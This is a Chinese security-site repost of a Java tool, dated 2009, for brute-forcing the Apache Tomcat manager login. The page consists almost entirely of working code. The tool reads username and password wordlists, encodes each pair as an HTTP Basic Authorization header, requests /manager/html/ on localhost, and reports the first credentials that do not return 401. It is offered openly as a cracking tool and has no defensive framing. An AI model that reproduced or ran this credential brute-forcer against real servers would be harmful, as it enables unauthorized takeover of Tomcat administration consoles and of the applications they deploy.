首页 网络安全 安全学院 查看内容

暴力破解tomcat工具(JAVA版)

2009-10-30 09:57 943 0

摘要: 这个没有图形界面,过几天有时间了再把界面做出来。o(∩_∩)o...测试环境:myeclipse+jdk1.4Made by 孤水绕城转载请注明出处 。QQ:540410588Blog:http://...
关键词: nbsp String URL import con HttpRequestProxy java InputStreamReade BufferedReader new

这个没有图形界面,过几天有时间了再把界面做出来。o(∩_∩)o...测试环境:myeclipse+jdk1.4Made by 孤水绕城转载请注明出处 。QQ:540410588Blog:http://hi.baidu.com/540410588//*** <pre>* Title:         HttpRequestProxy.java* Project:     Tomcat Crack For Java* Author:        孤水绕城* Create:         2007-7-3 上午03:07:07* Copyright:     Copyright (c) 2007* <pre>*///package com.hengpeng.ante.http;import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLEncoder;import org.apache.log4j.Logger;/*** <pre>* HTTP请求代理类* </pre>* * @author benl* @version 1.0, 2007-7-3*/public class HttpRequestProxy{/*** 连接超时*/private static int connectTimeOut = 5000;/*** 读取数据超时*/private static int readTimeOut = 10000;/*** 请求编码*/private static String requestEncoding = "GBK";/*** <pre>* 发送带参数的GET的HTTP请求* </pre>* * @param reqUrl HTTP请求URL* @param parameters 参数映射表* @return HTTP响应的字符串*/public static boolean doGet(String requrl,String getstr){boolean flag = false;HttpURLConnection url_con = null;String responseContent = null;try{StringBuffer params = new StringBuffer();              URL url = new URL(requrl);url_con = (HttpURLConnection) url.openConnection();// url_con.seturl_con.setRequestMethod("GET");url_con.setRequestProperty("Connection", "Keep-Alive");url_con.setRequestProperty("Cache-Control", "no-cache");url_con.setRequestProperty("Authorization", "Basic "+getstr);System.setProperty("sun.net.client.defaultConnectTimeout", String.valueOf(HttpRequestProxy.connectTimeOut));// (单位:毫秒)jdk1.4换成这个,连接超时System.setProperty("sun.net.client.defaultReadTimeout", String.valueOf(HttpRequestProxy.readTimeOut)); // (单位:毫秒)jdk1.4换成这个,读操作超时// url_con.setConnectTimeout(5000);//(单位:毫秒)jdk// 1.5换成这个,连接超时// url_con.setReadTimeout(5000);//(单位:毫秒)jdk 1.5换成这个,读操作超时url_con.setDoOutput(true);byte[] b = params.toString().getBytes();url_con.getOutputStream().write(b, 0, b.length);url_con.getOutputStream().flush();url_con.getOutputStream().close();if(url_con.getResponseCode()!=401){                  flag = true;                           }}catch (IOException e){e.printStackTrace();}finally{if (url_con != null){url_con.disconnect();}}return flag;}public static void readFile(String user,String pass){   File fileuser = new File(user);File filepass = new File(pass);String struser="";String strpass="";try {InputStream inuser = new FileInputStream(fileuser);InputStreamReader isruser = new InputStreamReader(inuser);BufferedReader bfuser = new BufferedReader(isruser);String a="" ;while((struser=bfuser.readLine())!=null){InputStream inpass = new FileInputStream(filepass);InputStreamReader isrpass = new InputStreamReader(inpass);BufferedReader bfpass = new BufferedReader(isrpass);while((strpass=bfpass.readLine())!=null){byte[] result = Base64.encode((struser+":"+strpass).getBytes());a = new String(result);boolean temp1 ;temp1=HttpRequestProxy.doGet("http://localhost:8080/manager/html/",a);if(temp1){System.out.print((struser+":"+strpass));break;}}}} catch (FileNotFoundException e) {e.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}}public static void main(String[] args){String pathuser="D:\\Myeclipsee\\MyJava\\src\\user.txt";String pathpass="D:\\Myeclipsee\\MyJava\\src\\pass.txt";HttpRequestProxy.readFile(pathuser,pathpass);            }}
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部